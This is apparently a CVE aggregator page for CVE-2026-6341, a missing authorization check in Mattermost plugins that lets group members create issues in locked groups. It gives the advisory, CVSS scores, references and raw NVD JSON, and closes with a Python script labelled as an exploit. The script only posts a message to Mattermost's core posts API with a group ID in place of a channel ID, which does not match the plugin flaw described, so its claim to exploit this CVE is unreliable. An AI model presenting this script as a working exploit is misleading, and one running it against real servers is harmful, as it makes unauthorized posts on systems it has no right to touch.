CVE-2026-6341

Description

Mattermost Plugins versions <=11.5 11.1.5 10.13.11 11.3.4.0 fail to have API-level checks on which groups the user can create issues or attach comments to which allows a user that is member of multiple groups to create issues to a locked group via direct API requests. Mattermost Advisory ID: MMSA-2026-00602

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mattermost Plugins <= 11.5

Mattermost Plugins <= 11.1.5

Mattermost Plugins <= 10.13.11

Mattermost Plugins <= 11.3.4.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
TARGET_URL = "https://mattermost.example.com/api/v4/posts"
# Replace with a valid session token or auth credentials
HEADERS = {
    "Authorization": "Bearer YOUR_SESSION_TOKEN",
    "Content-Type": "application/json"
}

# The ID of the locked/restricted group the user is a member of
# but should not be able to post to via API directly
LOCKED_GROUP_ID = "GROUP_ID_HERE"

# Payload to create an issue/post in the locked group
payload = {
    "channel_id": LOCKED_GROUP_ID,
    "message": "This is an unauthorized post created via API exploit."
}

try:
    response = requests.post(TARGET_URL, json=payload, headers=HEADERS)
    if response.status_code == 201:
        print("[+] Exploit successful! Post created in locked group.")
        print("[+] Response:", response.json())
    else:
        print("[-] Exploit failed or already patched.")
        print("[-] Status Code:", response.status_code)
        print("[-] Response:", response.text)
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6341
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6341
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6341/
[4] VulDB https://vuldb.com/cve/CVE-2026-6341
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6341", "sourceIdentifier": "[email protected]", "published": "2026-05-18T08:16:14.580", "lastModified": "2026-05-18T17:32:38.127", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Plugins versions <=11.5 11.1.5 10.13.11 11.3.4.0 fail to have API-level checks on which groups the user can create issues or attach comments to which allows a user that is member of multiple groups to create issues to a locked group via direct API requests. Mattermost Advisory ID: MMSA-2026-00602"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}